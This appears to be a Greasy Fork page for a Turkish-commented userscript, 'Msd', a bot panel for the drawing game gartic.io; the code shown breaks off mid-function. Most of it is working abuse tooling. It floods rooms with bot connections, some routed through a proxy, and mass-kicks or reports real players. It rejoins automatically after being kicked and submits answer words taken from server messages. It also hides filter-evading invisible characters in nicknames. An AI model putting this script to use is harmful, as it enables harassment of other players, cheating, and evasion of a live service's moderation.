Msd

Bot Panel for gartic.io

目前為 2025-05-07 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name           Msd
// @name:tr        SDk
// @description    Bot Panel for gartic.io
// @description:tr Bot Panel for gartic.io (in Turkish)
// @version        1.0
// @author         Msd
// @license        MIT
// @match          https://gartic.io/u
// @match          *://*/*
// @match          *://*/*?__cpo=aHR0cHM6Ly9nYXJ0aWMuaW8
// @icon           https://cdn.discordapp.com/attachments/1124451069204910161/1177654466523189360/MOSHED-2023-11-24-13-55-23.jpg?ex=65734b30&is=6560d630&hm=1b42ff32759ea222cc3b1eac33cb7852209358d47e44c560b10efe0f8f230752&
// @grant          GM_setValue
// @grant          GM_getValue
// @grant          GM_addValueChangeListener
// @grant          GM_addStyle
// @grant          window.focus
// @grant          window.close
// @namespace      https://greasyfork.org/users/1220697
// @require        https://cdn.jsdelivr.net/npm/sweetalert2@10
// @require        https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.min.js
// ==/UserScript==

(function() {
    'use strict';

    // Global Değişkenler
    let botc = 0, readyc = 0, otoeven = 0;
    let cmd = "", wss = [], tojoin = 0, usersinroom = [], customkickitems = [], messagejoinitems = [],
        tfr, tg, intervalbroadcast, intervalmsg, intervalanswer, intervalantiafk, rainbowdraw,
        rainbowdrawmode = false, botsidvalue = [], wordsInterval, botID, botlongID, theme, am,
        avatar = localStorage.getItem("avatar") || 1,
        botnick = localStorage.getItem("botnick") || "1",
        nick = localStorage.getItem("nick") || "Msd";

    const html = `
        <div class="hearts" id="hearts"></div>
        <div class="container">
            <div class="panel icebot-container">
                <h3>Msd</h3>
                <div class="input-group">
                    <label>Oda Linki:</label>
                    <input type="text" id="roomlink" placeholder="Örn. https://gartic.io/32v1sA">
                </div>
                <button id="join">Katıl</button>
                <nav class="input-group">
                    <button onclick="setmenu('messages')">Mesajlar</button>
                    <button onclick="setmenu('settings')">Ayarlar</button>
                    <button onclick="setmenu('kicklist')">Kick Listesi</button>
                    <button onclick="setmenu('joinmessages')">Katılma Mesajları</button>
                </nav>
                <div class="status" id="statusLog">Durum: Botlar hazır, katılmak için butona tıklayın...</div>
                <div class="kawaii-text">: *:* Msd *:</div>
            </div>

            <div class="panel icebot-content" id="messages" style="display: none;">
                <h3>Mesaj Gönder</h3>
                <div class="input-group">
                    <label>Mesaj:</label>
                    <input type="text" id="message" placeholder="Mesajınızı yazın">
                </div>
                <button onclick="window.postMessage('chat', '*')">Gönder</button>
            </div>

            <div class="panel icebot-content" id="settings" style="display: none;">
                <h3>Ayarlar</h3>
                <div class="input-group">
                    <label><input type="checkbox" id="autoreport"> Otomatik Rapor</label>
                    <label><input type="checkbox" id="autoskip"> Otomatik Atla</label>
                    <label><input type="checkbox" id="antikick"> Anti-Kick</label>
                    <label><input type="checkbox" id="autokick"> Otomatik Kick</label>
                    <label><input type="checkbox" id="antiafk"> Anti-AFK</label>
                    <label><input type="checkbox" id="autofarm"> Otomatik Farm</label>
                    <label><input type="checkbox" id="autoguess"> Otomatik Tahmin</label>
                </div>
            </div>

            <div class="panel icebot-content" id="kicklist" style="display: none;">
                <h3>Kick Listesi</h3>
                <div class="input-group">
                    <label>Kullanıcı Adı:</label>
                    <input type="text" id="customkick" placeholder="Atılacak kullanıcı">
                    <button onclick="addCustomKick()">Ekle</button>
                </div>
                <div id="kicklist-items" class="player-list"></div>
            </div>

            <div class="panel icebot-content" id="joinmessages" style="display: none;">
                <h3>Katılma Mesajları</h3>
                <div class="input-group">
                    <label>Mesaj:</label>
                    <input type="text" id="messagejoin" placeholder="Katılma mesajı">
                    <button onclick="addMessageJoin()">Ekle</button>
                </div>
                <div id="joinmessage-items" class="player-list"></div>
            </div>
        </div>
        <div class="anime-mascot" style="background-image: url('https://cdn.jsdelivr.net/gh/Gartic-Developers/Kawaii-Helper@refs/heads/main/Assets/kawaii-logo.png');"></div>
    `;

    function setCSS() {
        GM_addStyle(`
            body {
                margin: 0;
                background: linear-gradient(135deg, #ffcef3, #a6c1ff);
                color: #6e2252;
                font-family: 'Quicksand', sans-serif;
                min-height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                padding: 20px;
                overflow: auto;
            }

            .hearts {
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                pointer-events: none;
                z-index: -1;
            }

            .heart {
                position: absolute;
                width: 10px;
                height: 10px;
                background-color: rgba(255, 182, 193, 0.7);
                transform: rotate(45deg);
                animation: float 15s infinite linear;
            }

            .heart::before, .heart::after {
                content: '';
                position: absolute;
                width: 10px;
                height: 10px;
                background-color: rgba(255, 182, 193, 0.7);
                border-radius: 50%;
            }

            .heart::before {
                top: -5px;
                left: 0;
            }

            .heart::after {
                top: 0;
                left: -5px;
            }

            @keyframes float {
                0% { transform: rotate(45deg) translateY(0) translateX(0); opacity: 1; }
                100% { transform: rotate(45deg) translateY(-100vh) translateX(100vw); opacity: 0; }
            }

            .container {
                display: flex;
                max-width: 1200px;
                width: 100%;
                gap: 20px;
                flex-wrap: wrap;
                justify-content: center;
                align-items: flex-start;
                z-index: 1000;
            }

            .icebot-container {
                background: rgba(255, 255, 255, 0.9);
                padding: 25px;
                border-radius: 24px;
                box-shadow: 0 10px 30px rgba(122, 137, 247, 0.5);
                width: 320px;
                text-align: center;
                position: fixed;
                top: 1rem;
                right: 1rem; /* Sağ tarafa sabitle */
                border: 3px solid #a6c1ff;
                overflow: hidden;
                flex-shrink: 0;
                min-height: 400px;
                pointer-events: auto;
                z-index: 9999; /* Oyunun önünde olmasını sağlar */
            }

            .icebot-container::before {
                content: '';
                position: absolute;
                top: -50%;
                left: -50%;
                width: 200%;
                height: 200%;
                background: linear-gradient(45deg, transparent, rgba(255, 255, 255, 0.3), transparent);
                transform: rotate(45deg);
                animation: shine 3s infinite;
            }

            .icebot-content {
                background: rgba(255, 255, 255, 0.9);
                padding: 25px;
                border-radius: 24px;
                box-shadow: 0 10px 30px rgba(122, 137, 247, 0.5);
                width: 320px;
                text-align: center;
                position: fixed;
                top: 1rem;
                right: 24rem; /* Sağdan 24rem öteye */
                border: 3px solid #a6c1ff;
                overflow: hidden;
                flex-shrink: 0;
                min-height: 400px;
                pointer-events: auto;
                z-index: 9999; /* Oyunun önünde olmasını sağlar */
                transition: opacity 0.2s;
            }

            .icebot-content.hidden {
                display: none;
            }

            h3 {
                color: #7a6ed9;
                margin: 0 0 20px;
                font-size: 22px;
                font-weight: 700;
                text-shadow: 0 2px 4px rgba(122, 110, 217, 0.2);
                position: relative;
                display: inline-block;
            }

            h3::after {
                content: '';
                position: absolute;
                bottom: -6px;
                left: 0;
                width: 100%;
                height: 3px;
                background: linear-gradient(90deg, transparent, #a6c1ff, transparent);
            }

            .input-group {
                margin: 15px 0;
                position: relative;
            }

            label {
                display: block;
                text-align: left;
                margin-bottom: 6px;
                color: #7a6ed9;
                font-weight: 500;
                font-size: 14px;
            }

            input, select {
                width: 100%;
                padding: 10px 15px;
                border: 2px solid #c4d3ff;
                border-radius: 12px;
                background: #fff;
                color: #7a6ed9;
                font-family: 'Quicksand', sans-serif;
                font-size: 15px;
                transition: all 0.3s;
                font-weight: 500;
                pointer-events: auto;
            }

            input:focus, select:focus {
                border-color: #7a6ed9;
                box-shadow: 0 0 0 3px rgba(122, 110, 217, 0.2);
                outline: none;
            }

            input::placeholder, select::placeholder {
                color: #c4d3ff;
            }

            button {
                background: linear-gradient(45deg, #7a6ed9, #a6c1ff);
                border: none;
                padding: 12px 20px;
                margin-top: 15px;
                border-radius: 12px;
                color: white;
                font-weight: 700;
                font-size: 16px;
                font-family: 'Quicksand', sans-serif;
                cursor: pointer;
                transition: all 0.3s;
                width: 100%;
                box-shadow: 0 4px 10px rgba(122, 110, 217, 0.3);
                pointer-events: auto;
            }

            button:hover:not(:disabled) {
                background: linear-gradient(45deg, #6659c8, #8aa3f7);
                transform: translateY(-2px);
                box-shadow: 0 6px 15px rgba(122, 110, 217, 0.4);
            }

            button:active:not(:disabled) {
                transform: translateY(1px);
                box-shadow: 0 2px 5px rgba(122, 110, 217, 0.4);
            }

            .status {
                margin-top: 15px;
                padding: 10px;
                border-radius: 12px;
                background: rgba(245, 249, 255, 0.8);
                max-height: 120px;
                overflow-y: auto;
                font-size: 13px;
                text-align: left;
                color: #5d5393;
                border: 1px solid #d4e1ff;
            }

            .status::-webkit-scrollbar {
                width: 6px;
            }

            .status::-webkit-scrollbar-track {
                background: #d4e1ff;
                border-radius: 10px;
            }

            .status::-webkit-scrollbar-thumb {
                background: #a6c1ff;
                border-radius: 10px;
            }

            .kawaii-text {
                font-size: 12px;
                color: #7a6ed9;
                margin-top: 15px;
                font-weight: 500;
            }

            .player-list {
                overflow-y: auto;
                max-height: 250px;
                margin-top: 10px;
            }

            .player-list::-webkit-scrollbar {
                width: 6px;
            }

            .player-list::-webkit-scrollbar-track {
                background: #d4e1ff;
                border-radius: 10px;
            }

            .player-list::-webkit-scrollbar-thumb {
                background: #a6c1ff;
                border-radius: 10px;
            }

            .player-item {
                display: flex;
                align-items: center;
                padding: 8px 12px;
                margin-bottom: 8px;
                background: rgba(245, 249, 255, 0.8);
                border-radius: 10px;
                border: 1px solid #d4e1ff;
                transition: all 0.2s;
            }

            .player-item:hover {
                background: rgba(216, 230, 255, 0.8);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px rgba(122, 110, 217, 0.2);
            }

            .anime-mascot {
                position: fixed;
                bottom: 10px;
                right: 10px;
                width: 180px;
                height: 180px;
                background-size: contain;
                background-repeat: no-repeat;
                opacity: 0.9;
                pointer-events: none;
                z-index: 10;
            }

            @media (max-width: 768px) {
                .icebot-container, .icebot-content {
                    width: 90%;
                    right: 5%;
                }
            }
        `);
    }

    function createHearts() {
        const heartsContainer = document.getElementById('hearts');
        for (let i = 0; i < 20; i++) {
            const heart = document.createElement('div');
            heart.className = 'heart';
            heart.style.left = Math.random() * 100 + 'vw';
            heart.style.top = Math.random() * 100 + 'vh';
            heart.style.animationDelay = Math.random() * 15 + 's';
            heartsContainer.appendChild(heart);
        }
    }

    function setmenu(menu) {
        const elements = ['messages', 'settings', 'kicklist', 'joinmessages'];
        elements.forEach(element => {
            const el = document.getElementById(element);
            if (el) {
                el.style.display = element === menu ? 'block' : 'none';
            }
        });
    }

    function handleJoin() {
        const roomLinkInput = document.getElementById('roomlink');
        let roomLink = roomLinkInput.value.trim();

        if (!roomLink) {
            roomLink = window.location.href;
            roomLinkInput.value = roomLink;
        }

        botc = 0;
        GM_setValue("resetcount", rand());
        readyc = 0;

        let msgstorage = localStorage.getItem("messagejoin");
        if (msgstorage) {
            let vm = JSON.parse(msgstorage);
            setTimeout(() => {
                vm.forEach(item => {
                    GM_setValue("msg", item.msg + "►" + num(5000));
                });
            }, 4000);
        }

        GM_sendMessage("join", roomLink.split("/")[3], document.getElementById('botnick')?.value || nick, avatar, localStorage.getItem("botnick"), document.querySelector('.kickonjoin')?.checked || false, rand());
        document.getElementById('statusLog').innerText = `Durum: ${roomLink.split("/")[3]} odasına katılınıyor...`;
    }

    let rand = () => Math.floor(Math.random() * 1000000),
        GM_onMessage = (label, cb) => GM_addValueChangeListener(label, (_, __, data) => cb(...data)),
        GM_sendMessage = (label, ...data) => GM_setValue(label, data);

    function f(ICE) { return document.querySelector(ICE); }
    function fa(ICE) { return document.querySelectorAll(ICE); }
    function num(ICE) { return Math.ceil(Math.random() * ICE + 1); }

    function rc(ICE) {
        let e = f('input[name="chat"]');
        let lv = e.value;
        e.value = "";
        let ev = new Event('input', { bubbles: true });
        ev.simulated = true;
        let t = e._valueTracker;
        if (t) { t.setValue(lv); }
        e.dispatchEvent(ev);
    }

    function rs(ICE) {
        let e = f(".search input");
        let lv = e.value;
        e.value = "";
        let ev = new Event('input', { bubbles: true });
        ev.simulated = true;
        let t = e._valueTracker;
        if (t) { t.setValue(lv); }
        e.dispatchEvent(ev);
    }

    function rnext(kelime) {
        const hd = kelime.split('');
        const hu = hd.length;
        const yh = [];
        const invisibleChars = ['\u200B', '\u200C', '\u200D', '\u2061', '\u2062', '\u2063', '\u2064', '\u2066', '\u17b4', '\u17b5', '\u2068', '\u2069'];
        let charCount = 0;
        for (let i = 0; i < hu; i++) {
            yh.push(hd[i]);
            charCount++;
            if (charCount < 18 && i < hu - 1) {
                const invisibleChar = invisibleChars[Math.floor(Math.random() * invisibleChars.length)];
                yh.push(invisibleChar);
                charCount++;
            }
            if (charCount >= 18) { break; }
        }
        return yh.join('');
    }

    // Custom Kick Ekleme
    function addCustomKick() {
        const input = f('#customkick');
        const user = input.value.trim();

        if (!user) {
            Swal.fire({
                toast: true,
                position: 'top-end',
                icon: 'warning',
                title: 'Lütfen bir oyuncu adı girin.',
                showConfirmButton: false,
                timer: 3000
            });
            return;
        }

        let list = [];
        try {
            const storedList = localStorage.getItem('customkick');
            if (storedList) {
                list = JSON.parse(storedList);
            }
        } catch (e) {
            console.error('localStorage parse hatası:', e);
            Swal.fire({
                toast: true,
                position: 'top-end',
                icon: 'error',
                title: 'Veri okuma hatası!',
                showConfirmButton: false,
                timer: 3000
            });
            return;
        }

        list.push({ user });
        localStorage.setItem('customkick', JSON.stringify(list));

        const container = f('#kicklist-items');
        const item = document.createElement('div');
        item.className = 'player-item';
        item.innerHTML = `
            <span class="player-name">${user}</span>
            <button class="kick-btn" id="customkickuser.${user}">Kaldır</button>
        `;
        container.appendChild(item);

        item.querySelector(`#customkickuser\\.${user}`).addEventListener('click', () => {
            window.postMessage(`customkickremove.${user}`, '*');
        });

        input.value = '';
        Swal.fire({
            toast: true,
            position: 'top-end',
            icon: 'success',
            title: `${user} eklendi!`,
            showConfirmButton: false,
            timer: 2000
        });

        addItem(customkickitems, user);
    }

    // Katılma Mesajı Ekleme
    function addMessageJoin() {
        const input = f('#messagejoin');
        const msg = input.value.trim();

        if (!msg) {
            Swal.fire({
                toast: true,
                position: 'top-end',
                icon: 'warning',
                title: 'Lütfen bir mesaj girin.',
                showConfirmButton: false,
                timer: 3000
            });
            return;
        }

        let list = [];
        try {
            const storedList = localStorage.getItem('messagejoin');
            if (storedList) {
                list = JSON.parse(storedList);
            }
        } catch (e) {
            console.error('localStorage parse hatası:', e);
            Swal.fire({
                toast: true,
                position: 'top-end',
                icon: 'error',
                title: 'Veri okuma hatası!',
                showConfirmButton: false,
                timer: 3000
            });
            return;
        }

        list.push({ msg });
        localStorage.setItem('messagejoin', JSON.stringify(list));

        const container = f('#joinmessage-items');
        const item = document.createElement('div');
        item.className = 'player-item';
        item.innerHTML = `
            <span class="player-name">${msg}</span>
            <button class="kick-btn" id="msgjoin.${msg}">Kaldır</button>
        `;
        container.appendChild(item);

        item.querySelector(`#msgjoin\\.${msg}`).addEventListener('click', () => {
            window.postMessage(`messagejoinremove.${msg}`, '*');
        });

        input.value = '';
        addItem(messagejoinitems, msg);

        Swal.fire({
            toast: true,
            position: 'top-end',
            icon: 'success',
            title: 'Mesaj eklendi!',
            showConfirmButton: false,
            timer: 2000
        });
    }

    // Yardımcı Fonksiyonlar
    const addItem = (arr, ...args) => { for (let i = 0; i < args.length; i++) { arr[arr.length] = args[i]; } return arr; };
    function arrayFilter(array) { return array.filter((value, index, arr) => arr.indexOf(value) === index); }
    function fnFILTER(arr) {
        let r = [], n = [];
        arr.forEach(obj => {
            const nick = obj.nick;
            if (!n.includes(nick)) {
                n.push(nick);
                r.push(obj);
            }
        });
        return r;
    }

    // Gartic.io Kontrolü
    if (window.location.href.indexOf("gartic.io") != -1) {
        let room, kicknewstat = false, kickjoinstat = false, autoreport = false, autoskip = false,
            antiafk = false, antikick = false, antikickDelay = 1, autokick = false, autoguess = 0,
            autofarm = false, waitforkick = 0;

        GM_setValue("botekle", rand());
        GM_addValueChangeListener("resetcount", function(I, C, E, b) {
            GM_setValue("botekle", rand());
        });
        setTimeout(() => { waitforkick = 0; }, 1000);

        GM_onMessage("reconnect", (_, __) => {
            const storedArray = JSON.parse(localStorage.getItem('ws-reconnect-data')) || [];
            storedArray.forEach(obj => {
                let rws = new WebSocket("wss://" + obj.server + ".gartic.io/socket.io/?c=" + obj.code + "&EIO=3&transport=websocket");
                rws.onopen = () => {
                    rws.send('42[7,"' + obj.room + '",' + obj.timestamp + ']');
                    GM_onMessage("cmd", (cmd, x) => {
                        switch (cmd) {
                            case "broadcast":
                                rws.send('42[11,' + obj.timestamp + ',"' + x + '"]');
                                rws.send('42[13,' + obj.timestamp + ',"' + x + '"]');
                                break;
                            case "msg":
                                rws.send('42[11,' + obj.timestamp + ',"' + x + '"]');
                                break;
                            case "answer":
                                rws.send('42[13,' + obj.timestamp + ',"' + x + '"]');
                                break;
                            case "report":
                                rws.send('42[35,' + obj.timestamp + ']');
                                break;
                            case "jump":
                                rws.send('42[25,' + obj.timestamp + ']');
                                break;
                            case "accept1":
                                rws.send('42[34,' + obj.timestamp + ']');
                                break;
                            case "accept2":
                                rws.send('42[34,' + obj.timestamp + ',1]');
                                break;
                            case "tips":
                                rws.send('42[30,' + obj.timestamp + ',1]');
                                break;
                            case "exit":
                                rws.send('42[24,' + obj.timestamp + ']');
                                break;
                            case "kick":
                                if (!botsidvalue.includes(x.split("..")[0])) {
                                    rws.send('42[45,' + obj.timestamp + ',["' + x.split("..")[0] + '",true]]');
                                }
                                break;
                        }
                    });
                };
            });
        });

        GM_onMessage("join", (room, nick, avatar, botnick, kickonjoin, _) => {
            fetch("/logout").then(() => {
                fetch("https://" + window.location.href.split("/")[2] + "/server?check=1&v3=1&room=" + room + "&__cpo=aHR0cHM6Ly9nYXJ0aWMuaW8#").then(x => x.text()).then(x => {
                    let ws = new WebSocket("wss://" + window.location.href.split("/")[2] + "/__cpw.php?u=" + btoa("wss://" + x.split("https://")[1].split(".")[0] + ".gartic.io/socket.io/?c=" + x.split("?c=")[1] + "&EIO=3&transport=websocket") + "&o=aHR0cHM6Ly9nYXJ0aWMuaW8=");
                    ws.onopen = () => {
                        let inter = setInterval(() => {
                            GM_setValue("ready", rand());
                            if (tojoin == 1) {
                                tojoin = 0;
                                if (botnick === '0') {
                                    ws.send('42[3,{"v":20000,"nick":"' + rnext(nick) + '","avatar":' + avatar + ',"platform":0,"sala":"' + room.substring(2) + '"}]');
                                } else if (botnick === '1') {
                                    ws.send('42[3,{"v":20000,"nick":"' + nick + Math.ceil(Math.random() * 10000 + 1) + '","avatar":' + avatar + ',"platform":0,"sala":"' + room.substring(2) + '"}]');
                                }
                                clearInterval(inter);
                            }
                        }, 50);
                    };
                    ws.onclose = () => {
                        wss = wss.filter(w => w.ws !== ws);
                    };
                    ws.onmessage = (msg) => {
                        if (msg.data.indexOf('42["23"') != -1) {
                            let user = JSON.parse("{" + msg.data.split("{")[1].split("}")[0] + "}");
                            usersinroom.push(user);
                            if (kicknewstat) {
                                typeof(user.id) == "string" ? ws.send('42[45,' + ws.id + ',["' + user.id + '",true]]') : ws.send('42[45,' + ws.id + ',[' + user.id + ',true]]');
                            }
                        }
                        if (msg.data.indexOf('42["5"') != -1) {
                            let objlist = JSON.parse('["5"' + msg.data.split('42["5"')[1]);
                            ws.theme = objlist[4].tema;
                            ws.room = objlist[4].codigo;
                            ws.id = objlist[2];
                            objlist[5].forEach(item => { usersinroom.push(item); });
                            let targetid = objlist[5][0].id;
                            botID = objlist[2];
                            const storedArray = JSON.parse(localStorage.getItem('ws-reconnect-data')) || [];
                            const newData = { code: x.split("?c=")[1], room: objlist[3], server: x.split("https://")[1].split(".")[0], timestamp: objlist[2] };
                            storedArray.push(newData);
                            localStorage.setItem('ws-reconnect-data', JSON.stringify(storedArray));
                            botlongID = objlist[1];
                            theme = objlist[4].tema;
                            setTimeout(() => { f(".roomtheme").innerHTML = theme; }, 10);
                            setTimeout(() => { GM_sendMessage("botsidvalue", botlongID, rand()); }, 777);
                            setTimeout(() => { GM_sendMessage("updatelist", botID, rand()); }, 777);
                            setTimeout(() => { antikickDelay = 0; }, 2000);
                            kickjoinstat ? typeof(targetid) == "string" ? ws.send('42[45,' + ws.id + ',["' + targetid + '",true]]') : ws.send('42[45,' + ws.id + ',[' + targetid + ',true]]') : 0;
                            ws.send('42[46,' + objlist[2] + ']');
                            GM_onMessage('answerinput', (atılacak, _) => { f('#answer').value = atılacak; });
                            GM_onMessage("botsidvalue", (datachangex, _) => { botsidvalue.push(datachangex); });
                            GM_onMessage("updatelist", (datachangex, _) => { GM_sendMessage("updatebotidlist", botsidvalue, rand()); });
                            GM_onMessage("updatebotidlist", (datachangex, _) => {
                                if (!botsidvalue.includes(datachangex)) {
                                    addItem(botsidvalue, ...datachangex);
                                }
                                botsidvalue = arrayFilter(botsidvalue);
                            });
                            GM_addValueChangeListener("broadcast", function(I, C, E, b) {
                                ws.send('42[11,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
                                ws.send('42[13,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
                            });
                            GM_addValueChangeListener("msg", function(I, C, E, b) {
                                ws.send('42[11,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
                            });
                            GM_addValueChangeListener("answer", function(I, C, E, b) {
                                ws.send('42[13,' + objlist[2] + ',"' + E.split("►")[0] + '"]');
                            });
                            GM_addValueChangeListener("report", function(I, C, E, b) {
                                ws.send('42[35,' + objlist[2] + ']');
                            });
                            GM_addValueChangeListener("jump", function(I, C, E, b) {
                                ws.send('42[25,' + objlist[2] + ']');
                            });
                            GM_onMessage("draw", (_, __) => {
                                function calcPixel(x, y, larguraImagem, alturaImagem) {
                                    const re = (y * larguraImagem + x) * 4;
                                    return { re: re, x: x, y: y };
                                }
                                function pixelsend(inicioX, inicioY, larguraG, alturaG) {
                                    const larguraImagem = 767;
                                    const alturaImagem = 448;
                                    let re = 0;
                                    function enviarProximoPixel() {
                                        const x = inicioX + re % larguraG;
                                        const y = inicioY + Math.floor(re / larguraG);
                                        if (y < inicioY + alturaG) {
                                            const pixel = calcPixel(x, y, larguraImagem, alturaImagem);
                                            ws.send('42[10,' + ws.id + ',[2,' + pixel.x + ',' + pixel.y + ']]');
                                            re++;
                                            setTimeout(enviarProximoPixel, 250);
                                        }
                                    }
                                    enviarProximoPixel();
                                }
                                function pixels() {
                                    const larguraImagem = 767;
                                    const alturaImagem = 448;
                                    const larguraG = 10;
                                    const alturaG = 10;
                                    const intervaloEnvio = 50;
                                    let y = 0;
                                    let gVAL = setInterval(function() {
                                        pixelsend(0, y, larguraG, alturaG);
                                        y += alturaG;
                                        if (y >= alturaImagem) {
                                            clearInterval(gVAL);
                                        }
                                    }, intervaloEnvio);
                                }
                                async function pixelEx() {
                                    try {
                                        const items = await navigator.clipboard.read();
                                        const item = items[items.length - 1];
                                        if (item.types.includes("image/png") || item.types.includes("image/jpeg")) {
                                            const blob = await item.getType("image/png" || "image/jpeg");
                                            await createImageBitmap(blob);
                                        }
                                    } catch (e) {
                                        console.log("Pano okuma hatası:", e);
                                    }
                                }
                                pixelEx();
                            });
                            GM_addValueChangeListener("acceptdraw1", function(I, C, E, b) {
                                ws.send('42[34,' + objlist[2] + ']');
                            });
                            GM_addValueChangeListener("acceptdraw2", function(I, C, E, b) {
                                ws.send('42[34,' + objlist[2] + ',1]');
                            });
                            GM_addValueChangeListener("tips", function(I, C, E, b) {
                                ws.send('42[30,' + objlist[2] + ',1]');
                            });
                            GM_addValueChangeListener("exit", function(I, C, E, b) {
                                ws.send('42[24,' + objlist[2] + ']');
                                wss.length = 0;
                                usersinroom.length = 0;
                            });
                            GM_addValueChangeListener("kick", function(I, C, E, b) {
                                if (!botsidvalue.includes(E.split("..")[0])) {
                                    ws.send('42[45,' + objlist[2] + ',["' + E.split("..")[0] + '",true]]');
                                }
                            });
                            JSON.stringify(wss).indexOf(objlist[2]) == -1 ? wss.push({ "ws": ws, "id": objlist[2], "lengthID": objlist[1] }) : 0;
                            let interval = setInterval(() => {
                                ws.readyState == 1 ? ws.send('2') : clearInterval(interval);
                            }, 20000);
                        }
                        if (antiafk === true) {
                            intervalantiafk = setInterval(() => {
                                ws.send('42[42,' + ws.id + ']');
                            }, 20000);
                        } else if (antiafk === false) {
                            clearInterval(intervalantiafk);
                            intervalantiafk = null;
                        }
                        if (msg.data.indexOf('42["47"]') != -1 && autoguess == 1) {
                            let inter = parseInt(localStorage.getItem("autoguess")) || 1000;
                            function wordsArray(arr) {
                                let index = 0;
                                if (wordsInterval) {
                                    clearInterval(wordsInterval);
                                }
                                wordsInterval = setInterval(() => {
                                    if (index < arr.length) {
                                        ws.send('42[13,' + ws.id + ',"' + arr[index] + '"]');
                                        index++;
                                    } else {
                                        clearInterval(wordsInterval);
                                    }
                                }, inter);
                            }
                            // Kelime listesi gerekirse buraya eklenebilir
                        }
                        if (msg.data.indexOf('42["16"') != -1 && autoskip === true) {
                            setTimeout(() => {
                                ws.send('42[25,' + ws.id + ']');
                            }, 1000);
                        }
                        if (msg.data.indexOf('42["47"]') != -1 && autoreport === true) {
                            ws.send('42[35,' + ws.id + ']');
                        }
                        if (msg.data.indexOf('42["34"') != -1) {
                            let objlist = JSON.parse('["34"' + msg.data.split('42["34"')[1]);
                            var cdd = objlist[1];
                            GM_sendMessage('answerinput', cdd, rand());
                            if (autofarm === true) {
                                setTimeout(() => {
                                    GM_setValue("answer", cdd + "►" + num(5000));
                                }, 200);
                            }
                        }
                        if (msg.data.indexOf('42["26"') != -1 && autoguess == 1) {
                            let objlist = JSON.parse('["26"' + msg.data.split('42["26"')[1]);
                            let correct = objlist[1];
                            GM_setValue("answer", correct + "►" + num(5000));
                        }
                        if (msg.data.indexOf('42["16"') != -1 && autofarm === true) {
                            ws.send('42[34,' + ws.id + ']');
                        }
                        if (msg.data.indexOf('42["45"') != -1 && (msg.data.indexOf('"' + botlongID + '",1') != -1 || msg.data.indexOf('' + botlongID + ',1') != -1) && antikickDelay === 0 && antikick === true) {
                            ws.send('42[24,' + ws.id + ']');
                            antikickDelay = 1;
                            window.postMessage('rejoin', '*');
                        }
                        if (msg.data.indexOf('42["45"') != -1 && (msg.data.indexOf('"' + botlongID + '",1') != -1 || msg.data.indexOf('' + botlongID + ',1') != -1) && autokick === true) {
                            let msgautokick = msg.data.split(',');
                            let autokickid = msgautokick[1].replace(/"/g, '');
                            GM_setValue("kick", autokickid + ".." + num(10000));
                        }
                    };
                });
            });
            GM_addValueChangeListener("join", function(I, C, E, b) { tojoin = 1; });
            GM_addValueChangeListener("kicknewset", function(I, C, E, b) { kicknewstat = E; });
            GM_addValueChangeListener("kickjoinset", function(I, C, E, b) { kickjoinstat = E; });
            GM_addValueChangeListener("autoreport", function(I, C, E, b) { autoreport = E; });
            GM_addValueChangeListener("autoskip", function(I, C, E, b) { autoskip = E; });
            GM_addValueChangeListener("antikick", function(I, C, E, b) { antikick = E; });
            GM_addValueChangeListener("autokick", function(I, C, E, b) { autokick = E; });
            GM_addValueChangeListener("antiafk", function(I, C, E, b) { antiafk = E; });
            GM_addValueChangeListener("autoguess", function(I, C, E, b) { autoguess = E; });
            GM_addValueChangeListener("autofarm", function(I, C, E, b) { autofarm = E; });
            window.addEventListener("beforeunload", () => {
                GM_setValue("botçıkar", window.location.href.split("/")[2] + "--" + rand());
            });
        });

        GM_onMessage("rejoin", (_, __) => {
            handleJoin();
        });

        setInterval(() => {
            if (f("#users")) {
                fa(".kickmenubtn").forEach(ele => {
                    f(".scrollElements").innerText.indexOf(ele.value) == -1 ? ele.remove() : 0;
                });
                f("g") ? f("g").remove() : 0;
            }
            if (f("input[name=chat]")) {
                f(".contentPopup") && f(".btYellowBig.ic-yes") ? f(".btYellowBig.ic-yes").click() : 0;
                if (f(".contentPopup .nick") && f(".ic-votekick") && otoeven == 0) {
                    otoeven = 1;
                    f(".close").addEventListener("click", () => { otoeven = 0; });
                    f(".ic-ignore").addEventListener("click", () => { otoeven = 0; });
                    f(".ic-votekick").addEventListener("click", () => {
                        otoeven = 0;
                        GM_setValue("kick", f(".contentPopup .nick").innerText + ".." + num(10000));
                    });
                }
            }
            f("input[name=chat]") ? f("input[name=chat]").setAttribute("placeholder", +botc + " bot aktif") : 0;
            f(".taktifbot") ? f(".taktifbot").innerText = botc : 0;
            if (f("#background") && !f(".icebot-container")) {
                f("#background").innerHTML += html;
                setCSS();
                createHearts();
                // Olay dinleyicilerini ekle
                const joinButton = f("#join");
                if (joinButton) {
                    joinButton.addEventListener('click', handleJoin);
                }
                ['autoreport', 'autoskip', 'antikick', 'autokick', 'antiafk', 'autofarm', 'autoguess'].forEach(id => {
                    const el = f(`#${id}`);
                    if (el) {
                        el.addEventListener('click', () => {
                            GM_setValue(id, el.checked);
                        });
                    }
                });
            }
        }, 100);

        GM_addValueChangeListener("botekle", function(I, C, E, b) {
            botc++;
